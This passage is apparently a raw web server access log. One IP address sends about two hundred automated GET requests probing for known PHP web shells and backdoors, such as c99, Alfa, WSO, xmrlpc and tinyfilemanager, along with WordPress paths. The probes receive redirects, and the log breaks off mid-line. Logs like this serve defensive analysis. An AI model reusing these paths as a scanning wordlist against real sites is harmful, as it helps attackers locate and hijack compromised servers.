[30/Apr/2025:10:46:05 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:06 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:07 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:08 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:10 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:11 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:12 -0400] "GET /.well-known/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:13 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:14 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:15 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:17 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:17 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:20 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:21 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:21 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:22 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:24 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:25 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:26 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:27 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:28 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:30 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:32 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:33 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:36 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:37 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:37 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:39 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:40 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:41 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:42 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:44 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:44 -0400] "GET /ALFA_DATA/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:45 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:46 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:47 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:48 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:48 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:49 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:50 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:51 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:53 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:54 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:54 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:55 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:56 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:56 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:58 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:59 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:00 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:01 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:02 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:03 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:03 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:04 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:05 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:05 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:06 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:07 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:08 -0400] "GET /wordpress/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:08 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:09 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:11 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:12 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:13 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:14 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:15 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:16 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:18 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:18 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:19 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:20 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:21 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:22 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:22 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:24 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:25 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:25 -0400] "GET /wp-includes/widgets/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:26 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:27 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:29 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:31 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:32 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:32 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:33 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:34 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:36 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:36 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:37 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:40 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:40 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:41 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:42 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:43 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:44 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:45 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:47 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:49 -0400] "GET /class-walker-category-dropdown-class.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:50 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:51 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:55 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:55 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:57 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:58 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:47:59 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:03 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:05 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:06 -0400] "GET /Auth.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:08 -0400] "GET /5173e.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:09 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:10 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:11 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:15 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:17 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:19 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:21 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:22 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:23 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:25 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:26 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:29 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:30 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:31 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:33 -0400] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:35 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:36 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:38 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:40 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:42 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:44 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:45 -0400] "GET /tinyfilemanager/tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:46 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:48 -0400] "GET /wp-content/themes/oceanwp/functions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:49 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:51 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:53 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:53 -0400] "GET /getid3-core.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:54 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:55 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:48:56 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:00 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:02 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:03 -0400] "GET /e69ovfsr.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:04 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:04 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:05 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:06 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:07 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:08 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:09 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:10 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:12 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:15 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:15 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:16 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:18 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:22 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:23 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:24 -0400] "GET /OK.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:26 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:26 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:28 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:29 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:31 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:32 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:33 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:35 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:36 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:37 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:38 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:39 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:39 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:41 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:42 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:44 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:45 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:46 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:47 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:48 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:49 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:50 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:51 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:52 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:53 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:54 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:55 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:55 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:49:58 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:00 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:01 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:05 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:07 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:09 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:13 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:17 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:20 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:25 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:27 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:29 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:33 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:35 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:37 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:38 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:39 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:40 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:42 -0400] "GET /fxcexgle.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:43 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:43 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:47 -0400] "GET /add_actualites.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:49 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:50 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:51 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:53 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:55 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:50:58 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:00 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:01 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:03 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:04 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:06 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:08 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:11 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:12 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:13 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:14 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:16 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:19 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:20 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:21 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:22 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:22 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:51:23 -0400] "GET 